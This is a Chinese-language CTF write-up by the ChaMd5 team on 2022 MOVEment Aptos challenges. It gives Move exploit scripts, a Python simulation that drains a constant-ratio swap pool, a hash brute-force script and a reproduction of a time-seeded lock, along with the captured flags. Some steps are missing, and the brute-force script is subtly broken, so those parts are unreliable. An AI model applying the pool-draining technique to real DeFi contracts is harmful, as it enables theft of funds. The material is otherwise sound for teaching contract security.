2022MOVEment Aptos writeup by ChaMd5
2022-12-19 08:2:42 Author: ChaMd5安全团队(查看原文) 阅读量:9 收藏

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)

本文是对比赛的时候没做出来题目的一次复盘。

checkin

题目给了源代码:
module ctfmovement::checkin {
use std::signer;
use aptos_framework::account;
use aptos_framework::event;

struct FlagHolder has key {
event_set: event::EventHandle<Flag>,
}

struct Flag has drop, store {
user: address,
flag: bool
}

public entry fun get_flag(account: signer) acquires FlagHolder {
let account_addr = signer::address_of(&account);
if (!exists<FlagHolder>(account_addr)) {
move_to(&account, FlagHolder {
event_set: account::new_event_handle<Flag>(&account),
});
};

let flag_holder = borrow_global_mut<FlagHolder>(account_addr);
event::emit_event(&mut flag_holder.event_set, Flag {
user: account_addr,
flag: true
});
}
}

审计后一目了然,只要调用get_flag函数就可以获得flag。

aptos move run  --function-id 0x3dd3f092f3329fba1818779cc7940b681e37277c43b88f1ac0ebf8b67b7879e3::checkin::get_flag  

由于init_challenge没有entry属性,因此只能在script或者module里面被调用,所以需要写一个script来调用这个函数。并且只有通过hash,discrete_log,以及add函数才可以满足全部要求。首先看hash函数:

给了一个vector,后四个元素已知,需要爆破前四个元素,满足hash等于d9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79。需要知道aptos_hash::keccak256是如何处理vector的:

可以写一个python脚本来爆破:
k = sha3.keccak_256()  
for a in range(256):  
    for b in range(256):  
        for c in range(256):  
            for d in range(256):  
                k.update(bytes([a, b, c, d, 109, 111, 118, 101]))  
                if k.hexdigest() == 'd9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79':  
                    print([a, b, c, d]) 
最后结果是103,111,111,100。 
discrete_log函数非常直白,只需要计算一个离散对数就行:

提交hash后获得flag flag{#PWabg61-27LKScx1-pmz5QR-2022CTFMovement-#}!6ff6d330-396d-4b8e-82f0-452df95a62f8

simple swap

这题代码初看比前面的更加复杂。需要让simple_coin_balance大于10000000000才可以获得flag:

初始池子里有50个coin1和50个coin2,我们手里有5个coin1和5个coin2,为了方便理解我用一个表格来说明:
交易池coin1交易池coin2汇率1-2汇率2-1用户coin1用户coin2兑换币种兑换后用户coin1兑换后用户coin2
50501155coin1010
55450.821.22010coin2120
43551.280.78120coin1014

可以看到,随着交易次数变多,实际的汇率也会越来越大,最终会将交易池掏空。我写了个python脚本更加直观表示:

state = {
    'coin1_balance': 5,
    'coin2_balance': 5,
    'coin1_reserve': 50,
    'coin2_reserve': 50,
}

def get_swap_out(amount, order):
    coin1 = state['coin1_reserve']
    coin2 = state['coin2_reserve']
    if order:
        print(coin2/coin1)
        return (amount*coin2/coin1)

    else:
        print(coin2/coin1)
        return (amount*coin1/coin2)

def swap_coin1_to_coin2(amount):
    state['coin1_balance'] -= amount
    state['coin2_balance'] += get_swap_out(amount, True)
    state['coin1_reserve'] += amount
    state['coin2_reserve'] -= get_swap_out(amount, True)

def swap_coin2_to_coin1(amount):
    state['coin2_balance'] -= amount
    state['coin1_balance'] += get_swap_out(amount, False)
    state['coin2_reserve'] += amount
    state['coin1_reserve'] -= get_swap_out(amount, False)

count = 0
for i in range(100):
  
    print(state)
    swap_coin1_to_coin2(state['coin1_balance'])
    count += 1
   
    print(state)
    swap_coin2_to_coin1(state['coin2_balance'])
    count += 1

print(count)

最终可以写一个script来模拟每次的调用,手动操作的话,我尝试了大概不到十次就可以清空coin1
script {  
    use aptos_framework::coin;  
    use std::signer::address_of;
  
    fun hack(account: &signer, order: bool, amount: u64) {
    //   ctfmovement::pool::get_coin(account);
        let addr = address_of(account);

        if(order){
            let coin1 = coin::withdraw<ctfmovement::pool::Coin1>(account, amount);  
            let res = ctfmovement::pool::swap_12(&mut coin1, amount);     
            coin::destroy_zero(coin1);  
            coin::deposit<ctfmovement::pool::Coin2>(addr, res);  
        }
        else{
            let coin2 = coin::withdraw<ctfmovement::pool::Coin2>(account, amount);  
            let res = ctfmovement::pool::swap_21(&mut coin2, amount);     
            coin::destroy_zero(coin2);  
            coin::deposit<ctfmovement::pool::Coin1>(addr, res);  
        }
    }  
}

flag{#FoSGsL0-BHKlsf27-wjBK92-2022CTFMovement-#}!b5fb37c0-dccc-47fc-93c8-c16b77701093

move lock v2

加密函数虽然看上去十分复杂,但是分析后发现seed与执行次数以及时间有关,所以可以把代码复制一份到自己的module里面,计算出result后调用原本module里面的unlock。
entry public fun hack(user: &signer) acquires Counter {  
    let result = unlock(user);  
    ctfmovement::move_lock::unlock(user, result);  
}
public fun unlock(user : &signer) : u128 acquires Counter {  
    let encrypted_string : vector<u8> = encrypt_string(BASE);  
  
    let res_addr : address = account::create_resource_address(&@ctfmovement, encrypted_string);  
  
    let bys_addr : vector<u8> = bcs::to_bytes(&res_addr);  
  
    let i = 0;  
    let d = 0;  
    let cof : vector<u8> = vector::empty<u8>();  
    while ( i < vector::length(&bys_addr) ) {  
  
        let n1 : u64 = gen_number() % (0xff as u64);  
        let n2 : u8 = (n1 as u8);  
        let tmp : u8 = *vector::borrow(&bys_addr, i);  
  
        vector::push_back(&mut cof, n2 ^ (tmp));  
  
        i = i + 5;  
        d = d + 1;  
    };  
  
    let pol : Polynomial = constructor(d, cof);  
  
    let x : u64 = gen_number() % 0xff;  
    let result = evaluate(&mut pol, x);  
    result  

最后还需要修改increment函数和init_module函数:

- END -

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247507965&idx=1&sn=3ad9f5b4d9affc1ed9c24066bb3a23df&chksm=e89df725dfea7e339e8157fa2468b8824894c816e470340393637c03924646a0826395801af6#rd
如有侵权请联系:admin#unsafe.sh